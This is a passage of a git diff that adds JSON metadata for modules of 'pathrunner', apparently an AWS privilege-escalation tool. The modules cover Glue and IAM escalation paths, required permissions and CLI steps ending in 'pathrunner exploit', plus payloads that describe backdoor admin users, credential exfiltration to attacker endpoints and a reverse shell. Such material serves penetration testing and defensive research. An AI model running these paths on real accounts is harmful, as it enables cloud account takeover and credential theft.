+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+      "slug": "glue-exfil-https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+      "slug": "glue-exfil-s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+      "slug": "glue-revshell-tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-006",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set JOB_NAME target-glue-job",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-006",
+  "gifs": [
+    {
+      "name": "glue-006",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/glue-007.json b/docs/pathrunner/data/modules/glue-007.json
new file mode 100644
index 00000000..edb56662
--- /dev/null
+++ b/docs/pathrunner/data/modules/glue-007.json
@@ -0,0 +1,244 @@
+{
+  "id": "glue-007",
+  "name": "iam:PassRole + glue:CreateSession + glue:RunStatement",
+  "description": "Create a Glue Interactive Session with a privileged role passed via iam:PassRole, then run inline Python via glue:RunStatement. The boto3 client in the session automatically uses the passed role's credentials \u2014 no S3 script or job definition required.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "glue"
+  ],
+  "primaryService": "glue",
+  "aliases": [
+    "glue-passrole-createsession",
+    "exploit/glue_passrole_createsession"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/glue-007",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target admin IAM role ARN"
+      },
+      {
+        "permission": "glue:CreateSession"
+      },
+      {
+        "permission": "glue:RunStatement"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "glue:GetSession",
+        "description": "Poll session status until READY"
+      },
+      {
+        "permission": "glue:GetStatement",
+        "description": "Poll statement status until AVAILABLE"
+      },
+      {
+        "permission": "glue:DeleteSession",
+        "description": "Clean up the interactive session"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verify privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "IAM role with administrative permissions and trust policy allowing glue.amazonaws.com"
+    ],
+    "lateral": [
+      "IAM role trusting glue.amazonaws.com with elevated permissions"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - glue-007",
+      "url": "https://pathfinding.cloud/paths/glue-007"
+    },
+    {
+      "title": "Interactive sessions with IAM - AWS Glue",
+      "url": "https://docs.aws.amazon.com/glue/latest/dg/glue-is-security.html"
+    },
+    {
+      "title": "Getting started with AWS Glue interactive sessions",
+      "url": "https://docs.aws.amazon.com/glue/latest/dg/interactive-sessions.html"
+    }
+  ],
+  "relatedPaths": [
+    "glue-003",
+    "glue-004",
+    "glue-005",
+    "glue-006"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "IAM role ARN to pass to the Glue Interactive Session (must trust glue.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type (backdoor/attach-policy, backdoor/create-user, backdoor/create-access-key, exfil/cloudwatch)",
+      "required": true
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for the Glue Interactive Session",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "SESSION_ID",
+      "description": "Glue Interactive Session ID (auto-generated if not set)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the Glue Interactive Session after execution (requires glue:DeleteSession)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess policy to an existing IAM user or role via Glue job",
+      "slug": "glue-backdoor-attach-policy",
+      "qualifiedName": "glue:backdoor/attach-policy",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create new access keys for an existing IAM user via Glue job",
+      "slug": "glue-backdoor-create-access-key",
+      "qualifiedName": "glue:backdoor/create-access-key",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with administrator privileges and a custom trust policy via Glue job",
+      "slug": "glue-backdoor-create-role",
+      "qualifiedName": "glue:backdoor/create-role",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with administrator privileges and access keys via Glue job",
+      "slug": "glue-backdoor-create-user",
+      "qualifiedName": "glue:backdoor/create-user",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Update a role's trust policy to add a trusted principal via Glue job",
+      "slug": "glue-backdoor-update-role-trust",
+      "qualifiedName": "glue:backdoor/update-role-trust",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/cloudwatch",
+      "description": "Extract execution role credentials and print to CloudWatch Logs via Glue job",
+      "slug": "glue-exfil-cloudwatch",
+      "qualifiedName": "glue:exfil/cloudwatch",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled HTTPS endpoint via Glue job",
+      "slug": "glue-exfil-https",
+      "qualifiedName": "glue:exfil/https",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "https"
+      ]
+    },
+    {
+      "name": "exfil/s3",
+      "description": "Exfiltrate execution role credentials to an attacker-controlled S3 bucket via Glue job",
+      "slug": "glue-exfil-s3",
+      "qualifiedName": "glue:exfil/s3",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "exfil",
+        "filesystem"
+      ]
+    },
+    {
+      "name": "revshell/tls",
+      "description": "Establish a TLS-encrypted reverse shell to the attacker listener's shell port via Glue job",
+      "slug": "glue-revshell-tls",
+      "qualifiedName": "glue:revshell/tls",
+      "service": "glue",
+      "tags": [
+        "glue",
+        "python",
+        "access",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use glue-007",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "glue-007",
+  "gifs": [
+    {
+      "name": "glue-007",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-001.json b/docs/pathrunner/data/modules/iam-001.json
new file mode 100644
index 00000000..41e45c94
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-001.json
@@ -0,0 +1,129 @@
+{
+  "id": "iam-001",
+  "name": "iam:CreatePolicyVersion",
+  "description": "Create a new version of an attached IAM policy with administrative permissions and set it as the default version, effectively granting the caller full admin access",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-createpolicyversion",
+    "exploit/iam_create_policy_version"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreatePolicyVersion",
+        "description": "Policy ARN must be attached to the actor; for self-escalation on a role, must have permission on own role's policy"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListPolicyVersions",
+        "description": "List existing policy versions"
+      },
+      {
+        "permission": "iam:GetPolicyVersion",
+        "description": "View content of policy versions"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Required when starting as a user to assume the target role"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Policy must already be attached to the actor's role",
+      "If starting as a user, must be able to assume the target role"
+    ],
+    "lateral": [
+      "Policy must already be attached to the actor's role",
+      "If starting as a user, must be able to assume the target role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-001",
+      "url": "https://pathfinding.cloud/paths/iam-001"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreatepolicyversion"
+    },
+    {
+      "title": "HackingTheCloud - CreatePolicyVersion Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion"
+    }
+  ],
+  "relatedPaths": [
+    "iam-007",
+    "iam-008"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "POLICY_ARN",
+      "description": "ARN of the IAM policy to create a new version of (must be attached to caller)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:policy/TargetPolicy"
+    },
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the role to escalate (auto-detected from caller if caller is a role; required when caller is a user)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "POLICY_DOCUMENT",
+      "description": "Custom policy document JSON (defaults to full admin *:*)",
+      "required": false
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming role (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-001",
+    "pathrunner set POLICY_ARN arn:aws:iam::123456789012:policy/TargetPolicy",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-001",
+  "gifs": [
+    {
+      "name": "iam-001",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-002.json b/docs/pathrunner/data/modules/iam-002.json
new file mode 100644
index 00000000..35aa80f6
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-002.json
@@ -0,0 +1,112 @@
+{
+  "id": "iam-002",
+  "name": "iam:CreateAccessKey",
+  "description": "Create access keys for a target IAM user to gain their permissions. Anyone with iam:CreateAccessKey on a target user can generate new credentials and authenticate as that user.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-createaccesskey",
+    "exploit/iam_createaccesskey"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreateAccessKey",
+        "description": "Target IAM user must be in the Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListUsers",
+        "description": "Helpful for discovering target users"
+      },
+      {
+        "permission": "iam:GetUser",
+        "description": "Useful for viewing user details"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Identify users with admin permissions"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user must have fewer than 2 access keys already",
+      "Target user must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "Target user must have fewer than 2 access keys already"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-002",
+      "url": "https://pathfinding.cloud/paths/iam-002"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateaccesskey"
+    },
+    {
+      "title": "HackingTheCloud - CreateAccessKey Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey"
+    }
+  ],
+  "relatedPaths": [
+    "iam-003",
+    "iam-004",
+    "iam-006"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Username of the target IAM user to create access keys for",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM/STS operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after successful key creation",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-002",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-002",
+  "gifs": [
+    {
+      "name": "iam-002",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-003.json b/docs/pathrunner/data/modules/iam-003.json
new file mode 100644
index 00000000..aeaa3be6
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-003.json
@@ -0,0 +1,116 @@
+{
+  "id": "iam-003",
+  "name": "iam:CreateAccessKey + iam:DeleteAccessKey",
+  "description": "Delete an existing access key and create a new one for a target user, bypassing the 2-key AWS limit to gain access to the target user's permissions",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-deleteaccesskey-createaccesskey",
+    "exploit/iam_deleteaccesskey_createaccesskey"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreateAccessKey",
+        "description": "Target IAM user must be in the Resource section"
+      },
+      {
+        "permission": "iam:DeleteAccessKey",
+        "description": "Target IAM user must be in the Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListAccessKeys",
+        "description": "List existing access keys to identify which one to delete"
+      },
+      {
+        "permission": "iam:ListUsers",
+        "description": "Discover target users"
+      },
+      {
+        "permission": "iam:GetUser",
+        "description": "View user details"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user has 2 access keys (maximum allowed)",
+      "Target user must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "Target user has 2 access keys (maximum allowed)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-003",
+      "url": "https://pathfinding.cloud/paths/iam-003"
+    },
+    {
+      "title": "HackTricks - AWS IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateaccesskey"
+    },
+    {
+      "title": "AWS IAM User Access Key Limits",
+      "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html"
+    }
+  ],
+  "relatedPaths": [
+    "iam-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Target IAM username to create access keys for",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "DELETE_KEY_ID",
+      "description": "Specific access key ID to delete (auto-detected if not set)",
+      "required": false,
+      "mockValue": "target-resource-id"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after successful key creation",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-003",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-003",
+  "gifs": [
+    {
+      "name": "iam-003",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-004.json b/docs/pathrunner/data/modules/iam-004.json
new file mode 100644
index 00000000..627f472d
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-004.json
@@ -0,0 +1,122 @@
+{
+  "id": "iam-004",
+  "name": "iam:CreateLoginProfile",
+  "description": "Create a console login profile for a target IAM user to gain access to their permissions via the AWS Console",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-createloginprofile",
+    "exploit/iam_createloginprofile"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-004",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:CreateLoginProfile",
+        "description": "Target IAM user must be in the Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListUsers",
+        "description": "Helpful for discovering target users"
+      },
+      {
+        "permission": "iam:GetUser",
+        "description": "Useful for viewing user details"
+      },
+      {
+        "permission": "iam:GetLoginProfile",
+        "description": "Check if user already has login profile"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user must NOT currently have a login profile",
+      "Target user must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "Target user must NOT currently have a login profile"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-004",
+      "url": "https://pathfinding.cloud/paths/iam-004"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateloginprofile--iamupdateloginprofile"
+    },
+    {
+      "title": "HackingTheCloud - CreateLoginProfile Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile"
+    }
+  ],
+  "relatedPaths": [
+    "iam-002",
+    "iam-006"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Target IAM user name to create login profile for",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "PASSWORD",
+      "description": "Password for the login profile (auto-generated if not provided)",
+      "required": false
+    },
+    {
+      "name": "NO_PASSWORD_RESET",
+      "description": "Skip password reset requirement on first login (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "ADMIN_ROLE_ARN",
+      "description": "ARN of a role to assume before calling iam:CreateLoginProfile (required when starting as a user without direct CreateLoginProfile permission)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-004",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-004",
+  "gifs": [
+    {
+      "name": "iam-004",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-005.json b/docs/pathrunner/data/modules/iam-005.json
new file mode 100644
index 00000000..bf3a5e7b
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-005.json
@@ -0,0 +1,125 @@
+{
+  "id": "iam-005",
+  "name": "iam:PutRolePolicy",
+  "description": "A principal with iam:PutRolePolicy can attach inline policies to any role they have this permission on. This is frequently exploited for self-escalation by granting the caller's own role full administrative access.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putrolepolicy",
+    "exploit/iam_putrolepolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-005",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutRolePolicy",
+        "description": "Target role must be in Resource section; for self-escalation, must have permission on own role"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:GetRolePolicy",
+        "description": "View existing inline policies"
+      },
+      {
+        "permission": "iam:ListRolePolicies",
+        "description": "Discover existing inline policies on the role"
+      },
+      {
+        "permission": "sts:AssumeRole",
+        "description": "Required when starting as a user to assume the target role"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Role must have iam:PutRolePolicy permission on itself",
+      "If starting as a user, must be able to assume the target role"
+    ],
+    "lateral": [
+      "Role must have iam:PutRolePolicy permission on itself",
+      "If starting as a user, must be able to assume the target role"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-005",
+      "url": "https://pathfinding.cloud/paths/iam-005"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    },
+    {
+      "title": "HackingTheCloud - PutRolePolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputrolepolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-007",
+    "iam-009",
+    "iam-011"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the role to escalate (auto-detected from caller if caller is a role; required when caller is a user)",
+      "required": false,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "POLICY_NAME",
+      "description": "Name for the inline policy to add",
+      "required": false,
+      "default": "pathrunner-admin",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "VERIFY",
+      "description": "Verify escalation by calling iam:ListUsers after (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "AUTO_SWITCH",
+      "description": "Automatically switch to new identity after assuming role (true/false)",
+      "required": false,
+      "default": "true"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-005",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-005",
+  "gifs": [
+    {
+      "name": "iam-005",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-006.json b/docs/pathrunner/data/modules/iam-006.json
new file mode 100644
index 00000000..719d4226
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-006.json
@@ -0,0 +1,112 @@
+{
+  "id": "iam-006",
+  "name": "iam:UpdateLoginProfile",
+  "description": "Anyone with iam:UpdateLoginProfile can change the password of any user they have this permission on. This is often abused to gain access to another principal's account and their associated permissions via the AWS Console.",
+  "category": "principal-access",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-updateloginprofile",
+    "exploit/iam_updateloginprofile"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-006",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:UpdateLoginProfile",
+        "description": "Target IAM user must be in Resource section"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListUsers",
+        "description": "Discover target users"
+      },
+      {
+        "permission": "iam:GetUser",
+        "description": "View user details"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Target user must already have a login profile (password)",
+      "Target user must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "Target user must already have a login profile (password)"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-006",
+      "url": "https://pathfinding.cloud/paths/iam-006"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateloginprofile--iamupdateloginprofile"
+    },
+    {
+      "title": "HackingTheCloud - UpdateLoginProfile Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile"
+    }
+  ],
+  "relatedPaths": [
+    "iam-002",
+    "iam-004"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0003 - Persistence"
+    ],
+    "techniques": [
+      "T1098 - Account Manipulation"
+    ]
+  },
+  "options": [
+    {
+      "name": "TARGET_USER",
+      "description": "Target IAM user name to update login profile for",
+      "required": true,
+      "mockValue": "target-iam-user"
+    },
+    {
+      "name": "PASSWORD",
+      "description": "New password for the login profile (auto-generated if not provided)",
+      "required": false
+    },
+    {
+      "name": "NO_PASSWORD_RESET",
+      "description": "Skip password reset requirement on first login (true/false)",
+      "required": false,
+      "default": "true"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use iam-006",
+    "pathrunner set TARGET_USER target-iam-user",
+    "pathrunner exploit"
+  ],
+  "labSlug": "iam-006",
+  "gifs": [
+    {
+      "name": "iam-006",
+      "ext": "webm"
+    }
+  ],
+  "payloads": []
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/iam-007.json b/docs/pathrunner/data/modules/iam-007.json
new file mode 100644
index 00000000..280e749a
--- /dev/null
+++ b/docs/pathrunner/data/modules/iam-007.json
@@ -0,0 +1,100 @@
+{
+  "id": "iam-007",
+  "name": "iam:PutUserPolicy",
+  "description": "A principal with iam:PutUserPolicy can attach inline policies to any user they have this permission on. This is frequently exploited for self-escalation by granting the caller's own user full administrative access.",
+  "category": "self-escalation",
+  "services": [
+    "iam"
+  ],
+  "primaryService": "iam",
+  "aliases": [
+    "iam-putuserpolicy",
+    "exploit/iam_putuserpolicy"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/iam-007",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PutUserPolicy",
+        "description": "Target user must be in Resource section; for self-escalation, must have permission on own user"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "Principal must be a user (not a role)",
+      "User must have iam:PutUserPolicy permission on itself"
+    ],
+    "lateral": [
+      "Principal must be a user (not a role)",
+      "User must have iam:PutUserPolicy permission on itself"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - iam-007",
+      "url": "https://pathfinding.cloud/paths/iam-007"
+    },
+    {
+      "title": "AWS Privilege Escalation Methods and Mitigation",
+      "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
+    },
+    {
+      "title": "HackTricks - AWS - IAM Privesc",
+      "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
+    },
+    {
+      "title": "HackingTheCloud - PutUserPolicy Privilege Escalation",
+      "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputuserpolicy"
+    }
+  ],
+  "relatedPaths": [
+    "iam-001",
+    "iam-005",
+    "iam-008",
+    "iam-010"
